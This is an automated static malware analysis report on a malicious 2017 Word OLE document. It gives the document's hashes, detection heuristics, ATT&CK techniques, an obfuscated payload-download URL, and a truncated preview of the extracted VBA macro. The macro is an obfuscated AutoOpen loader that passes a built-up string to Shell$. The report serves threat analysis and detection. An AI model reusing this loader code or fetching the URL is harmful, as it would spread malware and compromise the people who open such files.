Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0ed16fb62f107250…

MALICIOUS

Office (OLE)

147.5 KB Created: 2017-11-20 06:38:00 Authoring application: Microsoft Office Word First seen: 2017-11-29
MD5: 17d7046fae902e652e482f027e98a5ee SHA-1: 7fc12b3fd18e610d6d6119d93d4369b2ceebc9ec SHA-256: 0ed16fb62f107250d88a18d365befc21851942eee0d1381fe1c22273e3412b02
344 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating the use of the Shell() function within its VBA macros. The AutoOpen macro is present and obfuscated, suggesting it's designed to execute automatically upon opening. The script attempts to download a payload from the obfuscated URL 'http://kYo+kYohkYo+kYoekYo+kYoalthwokYo+kYorldhospitkYo+kYoalkYo+kYos.ckYo+kYookYo+kYomkYo+kYo/ikYo+kYoUtGkYo+kRBh+RBhYoaOkYNtTZiQcKro', which is highly suspicious. This indicates a macro-based downloader attack pattern.

Heuristics 10

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://kYo+kYohkYo+kYoekYo+kYoalthwokYo+kYorldhospitkYo+kYoalkYo+kYos.ckYo+kYookYo+kYomkYo+kYo/ikYo+kYoUtGkYo+kRBh+RBhYoaOkYNtTZiQcKro In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 161547 bytes
SHA-256: 3532e934d006596443f87dd8f173beab787e99bdcae476aab22fa77b85ce983d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 88 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NPSqPzDPP"
Sub AutoOpen()
CHLfcuzEp = Array("HQGVpMKs", "BUhojvOG", "UkWOtBLd", "HrwtTzjn", "HTzRlKHC")
jzHpcCTLw = Array("ZHKaqvGE", "cNwPRYCk", "uhPwzVKd", "UittWBEX", "kwurZMRY")
qMJwImSbF = Array("EiVDNzEz", "hFLCNiaJ", "afUiKLhP", "rHkLNUiM", "SoSTiUWw")
Shell$ ZiXpoYJwj, 0
qusGFVdii = Array("niGzzusA", "FMGPskMX", "zkYQHaGI", "YnQTaKVd", "FdZmcPVu")
ZScHQhwJf = Array("jFlFOaNb", "wZJdZZvq", "cKOKavkO", "iqowwrrp", "HnrFkYqD")
MKdqLQzsh = Array("RoWjwFoV", "WaXmPdGh", "UWmipGDT", "LwPRuDNr", "vQjDUFIh")
End Sub
Function ZiXpoYJwj()
ThFIdqIGiv = "CLSXtdTEnaBjbccFNspz7IOFBDkMKocbjIfNpJPZrwirikPhXzrARFGIsWsNCtEzkGlbHwFXDioaVWaQnCoNwbJdBWUTRCXwrkHXwnZYrTwjQjmVvbZzEqAIzIakdmFBLqikPDRAdPVdfZNVkwXqdXtBkzZqNpvFNvYZzBGsJYWpVXdXvFAiOPYnzhAWR1OYNw"
viBTjY = Mid(ThFIdqIGiv, 23, 165)
aoABjU = Array("kcQBrPhl", "iUEItWHi", "RmjiTntB", "ntajfwDZ", "QMRLGhAP")
XXUKDAJsUDd = Array("zSRjbEcj", "nZXdHQDw", "jONzoBGk", "QfrhEwbj", "lUiBVJaj")
sFtUBucRk = "jOwv9WlJjjnZPjAKon8JVUNwjJjTtTAGhDfIzTzjIbqvQMAmpLdpMVHQkTRjQodRjAnofmvz7B"
fMKdli = Mid(sFtUBucRk, 23, 48)
qhpTMRuzsOz = Array("NrYkUjPi", "tkoorfWX", "TCHmifSG", "tCDpYhpM", "XchVVrVO")
YRwiAz = Array("ZJswOmiJ", "IIaGsXHi", "YSqRjZJM", "vcQPzABc", "jtNZmVsG")
iEMwiiKdZ = "liUpaCUIZZOEomwiavjUmfzEzatzSzlBFdbXNrQOitkmYUjdSGAYanHtPcpWJXpaoMwKKbQiiUlsvLjfuQfLwMaRWiIlCuFLDKzLVVSrqRtGCOzDvJbsrdbcmjocSfjkPaplNVKZzoVjSUPHkFpsTMTZiVYojqYKlJrbZMpaRww6tAjFXGo"
hhWzzBAi = Mid(iEMwiiKdZ, 6, 163)
AdlBU = Array("IQuwCzcc", "MNZGUGlB", "haJIJVqm", "CvcPGuHF", "aodFYNFH")
GCnTYFtzjM = Array("VwmwIqhU", "zvFRkzCm", "aIvHXMWR", "FUffcfdU", "UCnNjudM")
wnmZXp = "ubKHK3C8KuatVjqzsIEpzPpTXPSlOIicTnLRvBjNtCuCiMtRnjQiiHBlzJaDfpfqHNicUYCrcrwvVmiMKiICP4fASBJzi4ai8"
kcqiTPHJF = Mid(wnmZXp, 14, 65)
LzkThQdp = Array("wCslANCW", "SinOEpCL", "PztDtnTz", "nzliEUNP", "rapIJGSE")
cHYSrftotW = Array("jZPfBpbo", "jhzwRaVK", "ivwBbTSz", "QXXdAtCJ", "ioTUYnwz")
GitczhWNG = "sQiD343MwtMH9aZzlQvQzkTaUzEDARhjuRzoMrIWLVtfcIcjTQsviNGQmGEzHQVkdVfoVfnuIZEcrowLzNwb9V6TJN8jz5DaCVsB"
XBrNtnflcz = Mid(GitczhWNG, 17, 64)
wuLuwrNPjsi = Array("ZGYVUoAN", "LEMHYSjZ", "JPsduWLD", "sfPHnzwM", "oMELZSSq")
Orvhmm = Array("pGRCpiVf", "UEUBCzHD", "vVcoZtaL", "FzTMOUzq", "zBnoEJNO")
ljitaMXhKz = "BsYiQPzdIANIwuzzjNaoBrXjKmKqYOGBjZbRYQGzRKtwJBsfcUpEqbBPUoUiEGFttMZYTjZTGaWqzZaJtiNDZCLHYMwjwcuKFzEzcULwvWzPEKRvOKlatBUrARzHjpWdjMlwVchYSRHDEJWlBZY70VEDwNi8u7zjBwrMFj4VZk"
lqrBv = Mid(ljitaMXhKz, 2, 140)
SiFidcIAI = Array("piHMEvBT", "lrHzMYCA", "RnfBtJdl", "Dizazapp", "YpAhCEvI")
wkViG = Array("clPUMwaj", "MiYTLfOj", "AVJawaUK", "BSaWXVwM", "rWZItJZE")
KbzpQwA = "CWjT2iO6hnhUcfzRSGNEzbpijOXYzZiBaPzmLXShjjiaRtduQLiTiDwsqPdVvzUCVjuMiKFvofXPwPRpldInqOWXTEwwtzlhObFlzRLGGmfwjjwbwnjRrhLGJXtdNIBquqAVJftBvo"
UjwjzCzupU = Mid(KbzpQwA, 11, 124)
oCzCFrB = Array("ojvDnSRX", "MYroqfjA", "DWoqvooV", "iqjqwaoR", "wnFrHHDO")
awQNaH = Array("uEchOzAR", "YVhqLRjz", "saVziaYm", "kasDZotv", "TawqLHGk")
MtYwUQOnw = "1TrVpjJMCFHhRXlWanXPjXrzdRlzPJBQaVPHCmQdmojYvPzHhKsHnQlajapuAmEsEqGwHdToXtcvqTENSdPFRtdKkpbcwVdzkoTEJDAEqDktnqjNVccWWwaKNwMSBqsBQdKBzzEPdLOOJjWtF3FnL6uOFiDJuPCiiNKA13wXJ0D"
XClFGwzb = Mid(MtYwUQOnw, 9, 137)
mcjmH = Array("UNzSoMKN", "ucKVKSft", "ahAHbUJK", "TOMBzPKk", "zKUszZwQ")
hKqGaFZ = Array("bIqsiSbB", "EOqbvlKz", "DozZzJQi", "SaXzwnvA", "ljjSiQcB")
HfGQdmGYhY = "JOGTtGcmNJqMqhCAKidKfhOWYNsLjMAiaSMnjZHJAXopJrYvIODaFLNXAkujNRDBJLmYVPQlbUKItYMhowwc3IYCHLf"
wZGGbfwj = Mid(HfGQdmGYhY, 2, 81)
bbatGuUjb = Array("lLwdzmbO", "SOaSqUGL", "HfPkrdGI", "zBwbkdFK", "GpWicaRj")
iCwnW = Array("NcsqRDws", "rajhSVtI", "Eqdwqzip", "IPMBwXij", "NiWPkPqw")
oHtXDv = "9sJE0tJ4urLLpTLVQWKpvcHBojQUUZYGcJSuzhwSHiOwiKSslQKzWzLctbIFJjvuUiRjARXjYsiNNLSdNXjEPZjczqAWYtIanUcEslsUsbaiRwOiIfrlzrfuuoiKQBKfjHZtjOlbfPLnwFLzbRNtBXdwphJEDiDr
... (truncated)

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